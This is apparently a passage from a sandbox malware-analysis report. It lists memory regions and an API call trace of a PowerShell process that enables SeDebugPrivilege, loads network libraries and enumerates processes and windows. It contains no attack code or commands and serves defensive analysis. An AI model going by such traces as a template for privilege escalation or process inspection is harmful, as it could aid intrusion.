0x2b90000 end_va = 0x2baffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b90000" filename = "" Region: id = 816 start_va = 0x1b4a0000 end_va = 0x1b51ffff entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 817 start_va = 0x7fef61c0000 end_va = 0x7fef6223fff entry_point = 0x7fef61c0000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 818 start_va = 0x7fef6230000 end_va = 0x7fef62a0fff entry_point = 0x7fef6230000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 819 start_va = 0x7fffff0a000 end_va = 0x7fffff0bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff0a000" filename = "" Region: id = 820 start_va = 0x7fefb000000 end_va = 0x7fefb026fff entry_point = 0x7fefb000000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 821 start_va = 0x7fefaff0000 end_va = 0x7fefaffafff entry_point = 0x7fefaff0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 822 start_va = 0x7fefad70000 end_va = 0x7fefad80fff entry_point = 0x7fefad70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 823 start_va = 0x7fefad50000 end_va = 0x7fefad67fff entry_point = 0x7fefad50000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 824 start_va = 0x1bf50000 end_va = 0x1bfcffff entry_point = 0x0 region_type = private name = "private_0x000000001bf50000" filename = "" Region: id = 825 start_va = 0x7fffff08000 end_va = 0x7fffff09fff entry_point = 0x0 region_type = private name = "private_0x000007fffff08000" filename = "" Region: id = 826 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 827 start_va = 0x1caf0000 end_va = 0x1cb6ffff entry_point = 0x0 region_type = private name = "private_0x000000001caf0000" filename = "" Region: id = 828 start_va = 0x1cb70000 end_va = 0x1cbeffff entry_point = 0x0 region_type = private name = "private_0x000000001cb70000" filename = "" Region: id = 829 start_va = 0x7fefcc40000 end_va = 0x7fefcc9afff entry_point = 0x7fefcc40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 830 start_va = 0x7fffff06000 end_va = 0x7fffff07fff entry_point = 0x0 region_type = private name = "private_0x000007fffff06000" filename = "" Region: id = 831 start_va = 0x1c9a0000 end_va = 0x1ca4ffff entry_point = 0x0 region_type = private name = "private_0x000000001c9a0000" filename = "" Region: id = 832 start_va = 0x7fef53d0000 end_va = 0x7fef53d7fff entry_point = 0x7fef53d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 926 start_va = 0x7fefae80000 end_va = 0x7fefaed2fff entry_point = 0x7fefae80000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 927 start_va = 0x1cbf0000 end_va = 0x1ce5ffff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1238 start_va = 0x7ff002e0000 end_va = 0x7ff002effff entry_point = 0x0 region_type = private name = "private_0x000007ff002e0000" filename = "" Region: id = 1239 start_va = 0x7ff002f0000 end_va = 0x7ff002fffff entry_point = 0x0 region_type = private name = "private_0x000007ff002f0000" filename = "" Region: id = 1240 start_va = 0x2bb0000 end_va = 0x2bb3fff entry_point = 0x2bb0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1241 start_va = 0x1cd30000 end_va = 0x1cdaffff entry_point = 0x0 region_type = private name = "private_0x000000001cd30000" filename = "" Region: id = 1242 start_va = 0x1cde0000 end_va = 0x1ce5ffff entry_point = 0x0 region_type = private name = "private_0x000000001cde0000" filename = "" Region: id = 1243 start_va = 0x7fffff04000 end_va = 0x7fffff05fff entry_point = 0x0 region_type = private name = "private_0x000007fffff04000" filename = "" Region: id = 1244 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1245 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1246 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1247 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1248 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1249 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1250 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1251 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1252 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1253 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1254 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1255 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1256 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1257 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1258 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1259 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1260 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1261 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1262 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1263 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1264 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1265 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1266 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1267 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1268 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1269 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1270 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1271 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1272 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1273 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1274 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1275 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1276 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1277 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1278 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1279 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1280 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1281 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1282 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1283 start_va = 0x1cbf0000 end_va = 0x1ccf0fff entry_point = 0x0 region_type = private name = "private_0x000000001cbf0000" filename = "" Region: id = 1284 start_va = 0x7fef82e0000 end_va = 0x7fef8313fff entry_point = 0x7fef82e0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 1285 start_va = 0x7fefec10000 end_va = 0x7fefed87fff entry_point = 0x7fefec10000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 1286 start_va = 0x7fefdbb0000 end_va = 0x7fefdcd9fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1287 start_va = 0x7feff080000 end_va = 0x7feff2d8fff entry_point = 0x7feff080000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1288 start_va = 0x2bc0000 end_va = 0x2bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bc0000" filename = "" Region: id = 1346 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Thread: id = 24 os_tid = 0xa04 [0039.296] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0039.819] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0039.819] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0039.819] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0039.820] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0040.369] GetVersionExW (in: lpVersionInformation=0x24df40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24df40*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0040.370] GetVersionExW (in: lpVersionInformation=0x24df40*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24df40*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0040.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24db60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0040.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24dc00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0040.381] GetVersionExW (in: lpVersionInformation=0x24dcb0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24dcb0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0040.381] SetErrorMode (uMode=0x1) returned 0x1 [0040.382] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x24de10 | out: lpFileInformation=0x24de10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0040.383] SetErrorMode (uMode=0x1) returned 0x1 [0040.391] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x24e080 | out: lpdwHandle=0x24e080) returned 0x94c [0040.393] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2ca9be0 | out: lpData=0x2ca9be0) returned 1 [0040.396] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24dff8, puLen=0x24dff0 | out: lplpBuffer=0x24dff8*=0x2ca9c7c, puLen=0x24dff0) returned 1 [0040.397] lstrlenW (lpString="䅁") returned 1 [0040.406] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x2ca9d58, puLen=0x24df60) returned 1 [0040.406] lstrlenW (lpString="Microsoft Corporation") returned 21 [0040.408] CoTaskMemAlloc (cb=0x2e) returned 0x3ed190 [0040.408] lstrcpyW (in: lpString1=0x3ed190, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0040.408] CoTaskMemFree (pv=0x3ed190) [0040.408] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x2ca9dac, puLen=0x24df60) returned 1 [0040.408] lstrlenW (lpString="System.Management.Automation") returned 28 [0040.409] CoTaskMemAlloc (cb=0x3c) returned 0x30cae0 [0040.409] lstrcpyW (in: lpString1=0x30cae0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0040.409] CoTaskMemFree (pv=0x30cae0) [0040.409] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x2ca9e08, puLen=0x24df60) returned 1 [0040.409] lstrlenW (lpString="6.1.7601.17514") returned 14 [0040.409] CoTaskMemAlloc (cb=0x20) returned 0x3ee940 [0040.409] lstrcpyW (in: lpString1=0x3ee940, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0040.409] CoTaskMemFree (pv=0x3ee940) [0040.409] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x2ca9e48, puLen=0x24df60) returned 1 [0040.409] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0040.409] CoTaskMemAlloc (cb=0x44) returned 0x30cae0 [0040.409] lstrcpyW (in: lpString1=0x30cae0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0040.409] CoTaskMemFree (pv=0x30cae0) [0040.409] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x2ca9eb0, puLen=0x24df60) returned 1 [0040.409] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0040.409] CoTaskMemAlloc (cb=0x76) returned 0x36bc60 [0040.409] lstrcpyW (in: lpString1=0x36bc60, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0040.409] CoTaskMemFree (pv=0x36bc60) [0040.409] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x2ca9f4c, puLen=0x24df60) returned 1 [0040.409] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0040.409] CoTaskMemAlloc (cb=0x44) returned 0x30cae0 [0040.409] lstrcpyW (in: lpString1=0x30cae0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0040.409] CoTaskMemFree (pv=0x30cae0) [0040.409] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x2ca9fb0, puLen=0x24df60) returned 1 [0040.409] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0040.409] CoTaskMemAlloc (cb=0x58) returned 0x3985c0 [0040.409] lstrcpyW (in: lpString1=0x3985c0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0040.409] CoTaskMemFree (pv=0x3985c0) [0040.409] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x2caa02c, puLen=0x24df60) returned 1 [0040.409] lstrlenW (lpString="6.1.7601.17514") returned 14 [0040.409] CoTaskMemAlloc (cb=0x20) returned 0x3ee940 [0040.409] lstrcpyW (in: lpString1=0x3ee940, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0040.409] CoTaskMemFree (pv=0x3ee940) [0040.409] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x2ca9cd4, puLen=0x24df60) returned 1 [0040.409] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0040.409] CoTaskMemAlloc (cb=0x66) returned 0x35d0a0 [0040.409] lstrcpyW (in: lpString1=0x35d0a0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0040.409] CoTaskMemFree (pv=0x35d0a0) [0040.409] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x0, puLen=0x24df60) returned 0 [0040.409] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x0, puLen=0x24df60) returned 0 [0040.410] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x24df68, puLen=0x24df60 | out: lplpBuffer=0x24df68*=0x0, puLen=0x24df60) returned 0 [0040.410] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24df38, puLen=0x24df30 | out: lplpBuffer=0x24df38*=0x2ca9c7c, puLen=0x24df30) returned 1 [0040.411] CoTaskMemAlloc (cb=0x204) returned 0x393e30 [0040.411] VerLanguageNameW (in: wLang=0x0, szLang=0x393e30, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0040.412] CoTaskMemFree (pv=0x393e30) [0040.412] VerQueryValueW (in: pBlock=0x2ca9be0, lpSubBlock="\\", lplpBuffer=0x24df88, puLen=0x24df80 | out: lplpBuffer=0x24df88*=0x2ca9c08, puLen=0x24df80) returned 1 [0040.421] GetCurrentProcessId () returned 0xa00 [0040.449] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x24ceb0 | out: lpLuid=0x24ceb0*(LowPart=0x14, HighPart=0)) returned 1 [0040.451] GetCurrentProcess () returned 0xffffffffffffffff [0040.451] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x24ced0 | out: TokenHandle=0x24ced0*=0x2f0) returned 1 [0040.452] AdjustTokenPrivileges (in: TokenHandle=0x2f0, DisableAllPrivileges=0, NewState=0x2cad458*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0040.454] CloseHandle (hObject=0x2f0) returned 1 [0040.459] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa00) returned 0x2f0 [0040.466] EnumProcessModules (in: hProcess=0x2f0, lphModule=0x2cad4c0, cb=0x200, lpcbNeeded=0x24dee8 | out: lphModule=0x2cad4c0, lpcbNeeded=0x24dee8) returned 1 [0040.468] GetModuleInformation (in: hProcess=0x2f0, hModule=0x13faa0000, lpmodinfo=0x2cad730, cb=0x18 | out: lpmodinfo=0x2cad730*(lpBaseOfDll=0x13faa0000, SizeOfImage=0x77000, EntryPoint=0x13faac63c)) returned 1 [0040.469] CoTaskMemAlloc (cb=0x804) returned 0x1b9b15f0 [0040.469] GetModuleBaseNameW (in: hProcess=0x2f0, hModule=0x13faa0000, lpBaseName=0x1b9b15f0, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0040.469] CoTaskMemFree (pv=0x1b9b15f0) [0040.470] CoTaskMemAlloc (cb=0x804) returned 0x1b9b15f0 [0040.470] GetModuleFileNameExW (in: hProcess=0x2f0, hModule=0x13faa0000, lpFilename=0x1b9b15f0, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0040.470] CoTaskMemFree (pv=0x1b9b15f0) [0040.470] CloseHandle (hObject=0x2f0) returned 1 [0040.478] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xa00) returned 0x2f0 [0040.479] GetExitCodeProcess (in: hProcess=0x2f0, lpExitCode=0x24e018 | out: lpExitCode=0x24e018*=0x103) returned 1 [0040.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12cab088, Length=0x20000, ResultLength=0x24dfe0 | out: SystemInformation=0x12cab088, ResultLength=0x24dfe0*=0xd368) returned 0x0 [0040.495] EnumWindows (lpEnumFunc=0x1f766ac, lParam=0x0) returned 1 [0040.496] GetWindowThreadProcessId (in: hWnd=0x40112, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.496] GetWindowThreadProcessId (in: hWnd=0xa00fa, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.496] GetWindowThreadProcessId (in: hWnd=0x5011e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.496] GetWindowThreadProcessId (in: hWnd=0x40114, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.496] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x924 [0040.496] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x5fc [0040.496] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x69c [0040.497] GetWindowThreadProcessId (in: hWnd=0x200d0, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x200d8, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x200e2, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 0x4a4 [0040.497] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x24dd40 | out: lpdwProcessId=0x24dd40) returned 